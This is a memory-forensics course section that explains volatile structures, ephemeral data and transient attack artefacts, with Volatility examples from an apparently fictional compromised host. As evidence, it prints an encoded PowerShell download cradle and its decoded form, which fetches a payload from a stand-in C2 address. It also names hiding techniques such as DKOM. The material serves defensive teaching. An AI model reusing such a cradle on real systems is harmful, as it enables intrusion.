MF0.2 What Lives in Memory That Isn't on Disk

Volatile structures — the kernel's bookkeeping

Volatile structures are the kernel's own record of what's running. They're the highest-reliability memory evidence because the kernel can't function without them, and they're where most investigations begin.

The first category is volatile structures — the kernel-maintained bookkeeping of everything happening on the system. The kernel keeps a running tally of processes, threads, network connections, open files, loaded drivers, and its own internal state because it has to. Without these structures the OS can't schedule work, route packets, or service system calls. An investigator reading a memory image reads the same structures the kernel was reading at acquisition.

Volatile structures have three forensic properties that matter. They're high-reliability because the kernel depends on them — a process in the active list existed, a TCP connection in the table was negotiated. They have multiple discovery methods because attackers manipulate them and the toolkit provides independent verification paths — processes can be enumerated by walking the active list, scanning the pool for process signatures, following thread back-references, or cross-referencing handles. When these methods disagree, the disagreement itself is evidence. And they're a named target for sophisticated attackers: Direct Kernel Object Manipulation unlinks a process from the active list while leaving thread structures intact; kernel hooks redirect NtQuerySystemInformation to filter out attacker processes. Defeating these manipulations is the foundation of the course's kernel-forensics modules.

The specific structures the course will teach include the process list (EPROCESS on Windows, task_struct on Linux), the thread list (ETHREAD, thread_info), the network connection table, per-process handle tables, the loaded module list, the VAD tree and VMA list, kernel callback lists, and the system call table. Each gets a dedicated subsection in the OS-specific phases.

Here's what volatile-structure evidence looks like in practice. Consider a memory image from NE-FIN-014 captured after a suspicious-process alert; the investigator enumerates network connections to find out what the compromised PowerShell was talking to.

$ vol -f NE-FIN-014-mem.raw windows.netscan

# Expected output (filtered for suspicious entries):
#
# Offset      Proto  LocalAddr          ForeignAddr        State         PID   Owner          Created
# 0xfb8a0c    TCPv4  192.0.2.14:51892   203.0.113.47:443   ESTABLISHED   4872  powershell.exe 2026-03-15 08:43:18
# 0xfc1220    TCPv4  192.0.2.14:51934   192.0.2.8:445      ESTABLISHED   4     System         2026-03-15 08:44:02
# 0xfd44e8    TCPv4  192.0.2.14:52018   203.0.113.47:443   CLOSED_WAIT   4872  powershell.exe 2026-03-15 11:22:47

The network connection table is populated and maintained by the Windows kernel as part of its normal operation — PID 4872 couldn't have communicated on TCP without an entry. The table links each connection to its owning process by PID and timestamps each connection's creation. Here it proves PID 4872 — the suspicious PowerShell from the earlier windows.pstree output — established two connections to 203.0.113.47:443, the first at 08:43:18 (36 seconds after process start) and a later one at 11:22:47 still present at acquisition in CLOSED_WAIT.

The C2 IP is now firm evidence tied to a specific process and timestamp. The firewall log would show the same connections, but the memory evidence independently proves the internal process that made them. That's the volatile-structure pattern: kernel populates the evidence as part of normal operation, the linkage to process context is direct, and reliability is high.

Ephemeral data — the applications' working state

Ephemeral data is what running applications hold in their own memory. It's the category that produces evidence appearing nowhere else — credentials, command history, decrypted documents — and the one that most rewards knowing what to look for.

The second category is ephemeral data. This is the working state that running applications hold in their own memory — cached credentials inside LSASS, Kerberos tickets in the Kerberos client cache, bash command history in the bash process's ring buffer, the clipboard inside Windows Explorer, decrypted documents inside the application that opened them, session tokens inside browser processes, environment variables inside every process's environment block.

Unlike volatile structures, ephemeral data isn't kernel-maintained. It lives in user-mode process memory, subject to whatever memory management the application chooses. That difference produces different forensic properties.

Reliability is context-dependent. A value's meaning depends on the application's state and configuration — a plaintext password in LSASS is decisive if WDigest was enabled at the time; the same region is empty on a modern Windows 10/11 system where WDigest is off by default. A bash history entry proves a command was typed in that shell, not that it completed, succeeded, or accessed what it appeared to target. Ephemeral data needs application-specific interpretation that volatile structures don't.

Discovery is typically single-path. Most ephemeral data has one correct extraction — the application-specific structure that contains it. There are rarely independent paths to the same ephemeral evidence the way there are for EPROCESS. Miss the bash history buffer and there's no pool-scan fallback that recovers it.

And ephemeral data is an intermittent anti-forensic target. LSASS credentials, SSH agent keys, decrypted session material — routinely targeted. Clipboard contents, DNS cache — rarely touched. The attacker's incentive varies case-by-case.

Here's what ephemeral-data extraction looks like. A PowerShell process (PID 4872) on NE-FIN-014 was launched with an encoded command line. Disk Script Block Logging captured the encoded string, but the investigator needs the decoded command.

$ vol -f NE-FIN-014-mem.raw windows.cmdline --pid 4872

# Expected output:
#
# PID   Process          Args
# 4872  powershell.exe   powershell.exe -nop -w hidden -enc JABjAD0ATgBlAHcALQBPAGIAag
#                        BlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGMALgBEAG8
#                        AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwAy
#                        ADAAMwAuADAALgAxADEAMwAuADQANwAvAGkAbgB2AC4AdAB4AHQAJwApAA==

The command-line arguments are stored in the process's environment block (PEB on Windows) and remain in memory for the process's lifetime. Base64-decoding the -enc argument reveals the actual command: $c=New-Object Net.WebClient;$c.DownloadString('https://203.0.113.47/inv.txt'). The process downloaded a secondary payload from the same C2 IP windows.netscan revealed — and confirmed in decoded form.

Disk log entries contain the encoded string. The decoded command is application-held state that lives only in the process's memory until it exits. That's ephemeral data in practice: evidence is application-held, context-dependent, and extraction is per-application.

Transient artefacts — the attack's footprints

Transient artefacts are the traces attackers leave behind in memory. They have no legitimate analogue, they're the target of every anti-forensic technique, and finding them requires pattern-based scanning rather than list walking.

The third category is transient artefacts — the memory artefacts introduced by attacker activity. Code injected into a legitimate process, reflectively-loaded DLLs that don't appear in the module list, process hollowing where an image section no longer matches its VAD contents, kernel hooks in function pointer tables, shellcode sitting in a heap region of a normally-benign application. Transient artefacts exist because an attack occurred and disappear the moment the attacker's payload unloads, the affected process terminates, or the system reboots. They have no legitimate analogue on a clean system.

Transient artefacts have the most aggressive forensic properties.

Discovery is pattern-based, not list-walking. Because attackers designed these artefacts specifically to evade detection, there's no authoritative list to enumerate. Finding injected code means scanning every VAD entry for regions with suspicious characteristics — executable + writable + private, containing MZ/PE headers, not backed by a file on disk. Finding kernel hooks means walking every function pointer table and comparing each pointer against expected symbol addresses. Finding rootkit-allocated memory means pool-tag-scanning and investigating every allocation that doesn't match legitimate structures.

Reliability varies with attacker technique. Classical techniques — basic reflective injection, SSDT hooking — leave clear signatures that any modern plugin detects. Modern techniques — module stomping, eBPF-based hooking, kernel structure manipulation that preserves all integrity invariants — may not surface in first-pass tool output.

Transient artefacts are always an anti-forensic target. Every one was placed by an attacker who wanted it to work undetected. Unlike volatile structures (attackers hide there to evade detection) or ephemeral data (attackers sometimes hide there), transient artefacts are hostile to investigation by default.

Transient artefacts covered later in the course include RWX injected code regions, reflectively-loaded DLLs absent from PEB_LDR_DATA, process hollowing evidence, process doppelgänging and herpaderping, kernel-mode injected code in the system working set, SSDT and IDT and GDT hooks, kernel callback hijacking, Linux syscall table hooks, VFS operation table hooks, netfilter hooks used for C2 concealment, eBPF-based rootkit programs, rootkit-allocated kernel memory regions, shellcode in application heap segments, and unlinked kernel objects hidden via DKOM.

Concretely, transient artefact discovery looks unlike the first two categories. There's no "list of injections" the kernel maintains — finding injected code means scanning every process's VAD tree for regions whose characteristics are anomalous. This is pattern-based hunting, not list walking.

# Scan every process for suspicious memory regions. Unlike pslist or
# netscan, there's no authoritative list — this plugin walks every
# process's VAD tree and flags regions by anomaly pattern.
$ vol -f NE-FIN-014-mem.raw windows.malfind

# Expected output (filtered for highest-confidence findings):
#
# PID    Process          VAD Start         VAD End           Protection              Notes
# 4872   powershell.exe   0x7ff8a2100000    0x7ff8a2118000    PAGE_EXECUTE_READWRITE  Private, MZ header, no file backing
# 1816   explorer.exe     0x0000022f4a3c0000 0x0000022f4a3c2000 PAGE_EXECUTE_READWRITE  Private, no PE header — investigate
# 2204   chrome.exe       0x0000013b87600000 0x0000013b8762a000 PAGE_EXECUTE_READWRITE  Private, JavaScript JIT — benign

The plugin walked every process's VAD tree and returned every region matching the "executable + writable + private" pattern. Three hits appear. Two are benign — JavaScript JIT in Chrome (expected), a small unclear region in Explorer that needs further analysis. The third, in PID 4872, shows the pattern plus an MZ header: a reflectively-loaded PE with no corresponding entry in the module list, no file-backing on disk, no record the kernel maintains of its existence.

The investigator found it by asking a pattern-based question — "show me memory regions that look like injected code" — rather than by walking an authoritative list. That's the defining property of transient artefacts: they're hostile to investigation by design, and detection requires scanning for anomalies rather than enumerating known objects.

How the taxonomy guides investigation decisions

The taxonomy is operational, not theoretical. It tells you what to capture when acquisition is time-constrained, what to analyse first when triaging a fresh image, and what claim strength a finding supports in your report.

The three categories aren't just a mental model. They drive specific investigation decisions.

Acquisition priority when memory capture is time-constrained. If the acquisition tool's slower than expected, the attacker might be watching for acquisition activity, or the live-response window's short, the volatility hierarchy determines what to capture first. Volatile structures change constantly but are captured by any image. Ephemeral data gets lost to normal process activity — clipboard overwrites, buffer recycling — but not to time alone. Transient artefacts disappear if the attacker's payload terminates or unloads during acquisition. Priority order: transient first, then ephemeral, then volatile. In practice this argues for full acquisition; when it must be partial, the category affects the sequence.

Analysis priority when triaging a fresh image. Faced with a memory image and the question "was this system compromised," the transient artefact category is where compromise evidence most often lives. Scanning for injected code, unusual module loads, kernel hook anomalies, and pool-tag anomalies gets you to the compromise signal faster than enumerating the full process list first. Once compromise is identified, volatile structures provide the context — what processes, what connections, what handles — and ephemeral data provides the specifics — what commands, what credentials.

Reporting claims based on category. Every finding in a memory report should carry claim strength that matches the evidence category. Volatile structure findings support strong claims: "at the time of acquisition, this process was running, owned by this user, with these open handles." Ephemeral data supports specific but context-qualified claims: "at acquisition, this credential was cached in LSASS; it would have been cached because of a logon that occurred at or after boot at 08:14 UTC." Transient artefacts support claims that need correlation: "at acquisition, this process contained an injected DLL of X characteristics; injection occurred between process start at 14:22 and acquisition at 21:47." The category structures the language of confident reporting.